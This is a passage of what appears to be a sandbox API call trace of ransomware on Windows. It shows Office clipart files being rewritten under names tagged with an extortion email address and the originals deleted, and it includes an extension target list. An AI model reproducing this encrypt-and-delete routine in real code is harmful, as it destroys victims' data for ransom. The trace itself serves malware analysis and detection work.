lpNumberOfBytesRead=0x23dfed4*=0x0, lpOverlapped=0x0) returned 1 [0220.195] WriteFile (in: hFile=0x168, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0220.195] SetEndOfFile (hFile=0x168) returned 1 [0220.195] CloseHandle (hObject=0x168) returned 1 [0220.195] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0220.195] SetEndOfFile (hFile=0x184) returned 1 [0220.196] CloseHandle (hObject=0x184) returned 1 [0220.196] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01145_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0220.196] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01145_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01145_.wmf")) returned 1 [0220.196] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 63 [0220.196] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 63 [0220.196] lstrlenW (lpString=".doc") returned 4 [0220.197] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0220.197] lstrlenW (lpString=".docx") returned 5 [0220.197] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0220.197] lstrlenW (lpString=".pdf") returned 4 [0220.197] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0220.197] lstrlenW (lpString=".xls") returned 4 [0220.197] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0220.197] lstrlenW (lpString=".xlsx") returned 5 [0220.197] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0220.197] lstrlenW (lpString=".ppt") returned 4 [0220.197] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0220.197] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 63 [0220.197] lstrlenW (lpString=".zip") returned 4 [0220.197] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0220.197] lstrlenW (lpString=".rar") returned 4 [0220.197] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0220.197] lstrlenW (lpString=".bz2") returned 4 [0220.197] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0220.197] lstrlenW (lpString=".7z") returned 3 [0220.197] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0220.197] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 63 [0220.197] lstrlenW (lpString=".dbf") returned 4 [0220.197] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0220.197] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 63 [0220.197] lstrlenW (lpString=".1cd") returned 4 [0220.197] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0220.197] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 63 [0220.197] lstrlenW (lpString=".jpg") returned 4 [0220.197] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0220.197] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x23dff1c | out: lpFileSize=0x23dff1c*=2960) returned 1 [0220.197] CloseHandle (hObject=0x184) returned 1 [0220.197] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01151_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01151_.wmf")) returned 0x20 [0220.197] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01151_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01151_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0220.197] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01151_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01151_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0220.198] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0220.198] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0220.198] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01151_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01151_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0220.203] GetLastError () returned 0x0 [0220.203] ReadFile (in: hFile=0x184, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0xb90, lpOverlapped=0x0) returned 1 [0220.216] WriteFile (in: hFile=0x168, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0xba0, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0xba0, lpOverlapped=0x0) returned 1 [0220.216] ReadFile (in: hFile=0x184, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x0, lpOverlapped=0x0) returned 1 [0220.216] WriteFile (in: hFile=0x168, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0220.216] SetEndOfFile (hFile=0x168) returned 1 [0220.216] CloseHandle (hObject=0x168) returned 1 [0220.217] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0220.217] SetEndOfFile (hFile=0x184) returned 1 [0220.217] CloseHandle (hObject=0x184) returned 1 [0220.217] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01151_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0220.217] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01151_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01151_.wmf")) returned 1 [0220.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 63 [0220.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 63 [0220.218] lstrlenW (lpString=".doc") returned 4 [0220.218] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0220.218] lstrlenW (lpString=".docx") returned 5 [0220.218] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0220.218] lstrlenW (lpString=".pdf") returned 4 [0220.218] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0220.218] lstrlenW (lpString=".xls") returned 4 [0220.218] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0220.218] lstrlenW (lpString=".xlsx") returned 5 [0220.218] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0220.218] lstrlenW (lpString=".ppt") returned 4 [0220.218] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0220.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 63 [0220.218] lstrlenW (lpString=".zip") returned 4 [0220.218] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0220.218] lstrlenW (lpString=".rar") returned 4 [0220.218] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0220.218] lstrlenW (lpString=".bz2") returned 4 [0220.218] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0220.218] lstrlenW (lpString=".7z") returned 3 [0220.218] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0220.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 63 [0220.228] lstrlenW (lpString=".dbf") returned 4 [0220.228] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0220.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 63 [0220.228] lstrlenW (lpString=".1cd") returned 4 [0220.228] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0220.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 63 [0220.228] lstrlenW (lpString=".jpg") returned 4 [0220.228] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0220.228] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0220.228] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0220.228] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01163_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01163_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0220.229] GetLastError () returned 0x0 [0220.229] ReadFile (in: hFile=0x184, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x8fc, lpOverlapped=0x0) returned 1 [0220.234] WriteFile (in: hFile=0x168, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0x900, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0x900, lpOverlapped=0x0) returned 1 [0220.235] ReadFile (in: hFile=0x184, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x0, lpOverlapped=0x0) returned 1 [0220.235] WriteFile (in: hFile=0x168, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0220.235] SetEndOfFile (hFile=0x168) returned 1 [0220.235] CloseHandle (hObject=0x168) returned 1 [0220.235] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0220.235] SetEndOfFile (hFile=0x184) returned 1 [0220.236] CloseHandle (hObject=0x184) returned 1 [0220.236] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01163_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0220.236] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01163_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01163_.wmf")) returned 1 [0220.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 63 [0220.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 63 [0220.236] lstrlenW (lpString=".doc") returned 4 [0220.236] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0220.236] lstrlenW (lpString=".docx") returned 5 [0220.236] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0220.236] lstrlenW (lpString=".pdf") returned 4 [0220.236] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0220.236] lstrlenW (lpString=".xls") returned 4 [0220.236] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0220.236] lstrlenW (lpString=".xlsx") returned 5 [0220.236] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0220.236] lstrlenW (lpString=".ppt") returned 4 [0220.236] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0220.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 63 [0220.236] lstrlenW (lpString=".zip") returned 4 [0220.236] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0220.237] lstrlenW (lpString=".rar") returned 4 [0220.237] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0220.237] lstrlenW (lpString=".bz2") returned 4 [0220.237] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0220.237] lstrlenW (lpString=".7z") returned 3 [0220.237] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0220.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 63 [0220.237] lstrlenW (lpString=".dbf") returned 4 [0220.237] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0220.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 63 [0220.237] lstrlenW (lpString=".1cd") returned 4 [0220.237] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0220.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 63 [0220.237] lstrlenW (lpString=".jpg") returned 4 [0220.237] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0220.242] GetFileSizeEx (in: hFile=0x22c, lpFileSize=0x23dff1c | out: lpFileSize=0x23dff1c*=2080) returned 1 [0220.242] CloseHandle (hObject=0x22c) returned 1 [0220.242] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01166_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01166_.wmf")) returned 0x20 [0220.243] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01166_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01166_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0220.243] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01166_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01166_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x22c [0220.243] SetFilePointerEx (in: hFile=0x22c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0220.243] SetFilePointerEx (in: hFile=0x22c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0220.243] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01166_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01166_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0220.243] GetLastError () returned 0x0 [0220.243] ReadFile (in: hFile=0x22c, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x820, lpOverlapped=0x0) returned 1 [0220.257] WriteFile (in: hFile=0x230, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0x830, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0x830, lpOverlapped=0x0) returned 1 [0220.258] ReadFile (in: hFile=0x22c, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x0, lpOverlapped=0x0) returned 1 [0220.258] WriteFile (in: hFile=0x230, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0220.258] SetEndOfFile (hFile=0x230) returned 1 [0220.258] CloseHandle (hObject=0x230) returned 1 [0220.258] SetFilePointerEx (in: hFile=0x22c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0220.258] SetEndOfFile (hFile=0x22c) returned 1 [0220.259] CloseHandle (hObject=0x22c) returned 1 [0220.259] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01166_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0220.259] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01166_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01166_.wmf")) returned 1 [0220.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 63 [0220.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 63 [0220.260] lstrlenW (lpString=".doc") returned 4 [0220.260] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0220.260] lstrlenW (lpString=".docx") returned 5 [0220.260] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0220.260] lstrlenW (lpString=".pdf") returned 4 [0220.260] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0220.260] lstrlenW (lpString=".xls") returned 4 [0220.260] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0220.260] lstrlenW (lpString=".xlsx") returned 5 [0220.260] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0220.260] lstrlenW (lpString=".ppt") returned 4 [0220.260] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0220.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 63 [0220.260] lstrlenW (lpString=".zip") returned 4 [0220.260] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0220.260] lstrlenW (lpString=".rar") returned 4 [0220.260] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0220.260] lstrlenW (lpString=".bz2") returned 4 [0220.260] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0220.260] lstrlenW (lpString=".7z") returned 3 [0220.260] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0220.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 63 [0220.260] lstrlenW (lpString=".dbf") returned 4 [0220.260] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0220.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 63 [0220.260] lstrlenW (lpString=".1cd") returned 4 [0220.260] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0220.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 63 [0220.260] lstrlenW (lpString=".jpg") returned 4 [0220.260] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0220.260] GetFileSizeEx (in: hFile=0x22c, lpFileSize=0x23dff1c | out: lpFileSize=0x23dff1c*=2004) returned 1 [0220.260] CloseHandle (hObject=0x22c) returned 1 [0220.261] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01168_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01168_.wmf")) returned 0x20 [0220.261] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01168_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01168_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0220.261] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01168_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01168_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x22c [0220.261] SetFilePointerEx (in: hFile=0x22c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0220.261] SetFilePointerEx (in: hFile=0x22c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0220.261] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01168_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01168_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0220.261] GetLastError () returned 0x0 [0220.261] ReadFile (in: hFile=0x22c, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x7d4, lpOverlapped=0x0) returned 1 [0220.295] WriteFile (in: hFile=0x230, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0x7e0, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0x7e0, lpOverlapped=0x0) returned 1 [0220.296] ReadFile (in: hFile=0x22c, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x0, lpOverlapped=0x0) returned 1 [0220.296] WriteFile (in: hFile=0x230, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0220.296] SetEndOfFile (hFile=0x230) returned 1 [0220.296] CloseHandle (hObject=0x230) returned 1 [0220.296] SetFilePointerEx (in: hFile=0x22c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0220.296] SetEndOfFile (hFile=0x22c) returned 1 [0220.297] CloseHandle (hObject=0x22c) returned 1 [0220.297] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01168_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0220.297] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01168_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01168_.wmf")) returned 1 [0220.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 63 [0220.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 63 [0220.297] lstrlenW (lpString=".doc") returned 4 [0220.297] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0220.297] lstrlenW (lpString=".docx") returned 5 [0220.298] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0220.298] lstrlenW (lpString=".pdf") returned 4 [0220.298] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0220.298] lstrlenW (lpString=".xls") returned 4 [0220.298] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0220.298] lstrlenW (lpString=".xlsx") returned 5 [0220.298] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0220.298] lstrlenW (lpString=".ppt") returned 4 [0220.298] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0220.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 63 [0220.298] lstrlenW (lpString=".zip") returned 4 [0220.298] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0220.298] lstrlenW (lpString=".rar") returned 4 [0220.298] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0220.298] lstrlenW (lpString=".bz2") returned 4 [0220.298] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0220.298] lstrlenW (lpString=".7z") returned 3 [0220.298] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0220.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 63 [0220.298] lstrlenW (lpString=".dbf") returned 4 [0220.298] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0220.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 63 [0220.298] lstrlenW (lpString=".1cd") returned 4 [0220.298] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0220.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 63 [0220.298] lstrlenW (lpString=".jpg") returned 4 [0220.298] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0220.305] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0220.305] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0220.305] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01173_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01173_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, 